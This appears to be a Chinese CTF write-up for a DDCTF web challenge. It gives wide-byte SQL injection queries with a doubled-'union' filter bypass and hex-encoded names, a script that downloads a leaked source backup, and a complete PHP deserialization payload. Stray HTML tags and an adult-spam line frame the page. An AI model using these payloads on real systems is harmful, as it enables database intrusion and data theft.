<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    注入的奧妙

    題目:

    本題flag不需要包含DDCTF{},為[0-9a-f]+ http://116.85.48.105:5033/4eaee5db-2304-4d6d-aa9c-962051d99a41/well/getmessage/1

    解答:

    按照題目要求,這題應該是個注入題,毫無疑問。

    查看源碼,發現給了big5的編碼表,此時猜測可以通過寬字節進行注入。

    1餐' and 1=1%23

    orderby,發現有三個字段,嘗試構造聯合查詢語句,發現union會被直接刪除。此時雙寫繞過即可。

    此時查詢數據庫:

    1餐' uniunionon select SCHEMA_NAME,2,3 from information_schema.SCHEMATA %23
    復制

    然后繼續查詢表名:
    [

    然后繼續查詢表名:

    1餐' uniunionon select TABLE_NAME,2,3 from information_schema.tables where table_schema=sqli %23

    此時發生了一件尷尬的事情。我們無法繼續構造單雙引號,這樣數據庫會報以下錯誤。

    此時祭出hex大法。數據庫會直接將0x開頭的進行轉碼解析。

    1餐' uniunionon select TABLE_NAME,2,3 from information_schema.tables where table_schema=0x73716c69 %23

    此時成功的爆出來了三個表

    message,route_rules,users

    然后就沒啥好說的了。挨個查著玩就可以了,基本同上。然后查字段啥的。

    查路由的時候,有點小坑,不知道后端怎么解析的,會將一列數據解析到多列,此時用mysql的to_base64()函數即可。

    通過路由信息,我們可以發現存在static/bootstrap/css/backup.css源碼泄露。

    通過以下三行腳本即可保存該文件。

    import requestsf=open('a.zip','wb')f.write(requests.get('http://116.85.48.105:5033/static/bootstrap/css/backup.css').content)

    接下來就是對PHP代碼的審計。

    首先,分析路由。我們從數據表內知道了有以下幾條規則

    get/:u/well/getmessage/:s Well#getmessage
    get/:u/justtry/self/:s JustTry#self
    post*/:u/justtry/try JustTry#try

    首先第一條,就是咱剛剛實現注入的那一個。不用多看,邏輯差不多清楚。

    第二,三條,調用的都是justtry類下的某個方法。所以可以跟進去,重點分析下這個函數。

    此時看見了 unserialize ,倍感親切,這不就是反序列化么。

    此時就需要考慮反序列化了。他后面限制了幾個類,此時我們可以一一打開分析。

    test類,顧名思義,就是一個測試用的。

    此時我們發現他的析構函數中,有一條特殊的句子。跟進去之后發現,他會將falg打印出來。

    仔細分析源碼后發現,這個test類通過調用Flag類來獲取flag,然而Flag類又需要調用SQL類來進行數據庫查詢。

    所以,這個反序列化是個相當大的工程。自己手寫是無望了。

    首先嘗試了一下,自己寫三個類的調用。。。然而失敗了。

    最后復現源碼,并在try方法打印序列化對象后。(uuid是你的url那串,uuid類下正則可以看出來。)

    發現,他是有一個命名空間的要求。序列化后語句如下

    O:17:"Index\Helper\Test":2:{s:9:"user_uuid";s:36:"4eaee5db-2304-4d6d-aa9c-962051d99a41";s:2:"fl";O:17:"Index\Helper\Flag":1:{s:3:"sql";O:16:"Index\Helper\SQL":2:{s:3:"dbc";N;s:3:"pdo";N;}}}

    最終payload如下

    url:http://116.85.48.105:5033/4eaee5db-2304-4d6d-aa9c-962051d99a41/justtry/try/postdata:serialize=%4f%3a%31%37%3a%22%49%6e%64%65%78%5c%48%65%6c%70%65%72%5c%54%65%73%74%22%3a%32%3a%7b%73%3a%39%3a%22%75%73%65%72%5f%75%75%69%64%22%3b%73%3a%33%36%3a%22%34%65%61%65%65%35%64%62%2d%32%33%30%34%2d%34%64%36%64%2d%61%61%39%63%2d%39%36%32%30%35%31%64%39%39%61%34%31%22%3b%73%3a%32%3a%22%66%6c%22%3b%4f%3a%31%37%3a%22%49%6e%64%65%78%5c%48%65%6c%70%65%72%5c%46%6c%61%67%22%3a%31%3a%7b%73%3a%33%3a%22%73%71%6c%22%3b%4f%3a%31%36%3a%22%49%6e%64%65%78%5c%48%65%6c%70%65%72%5c%53%51%4c%22%3a%32%3a%7b%73%3a%33%3a%22%64%62%63%22%3b%4e%3b%73%3a%33%3a%22%70%64%6f%22%3b%4e%3b%7d%7d%7d

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类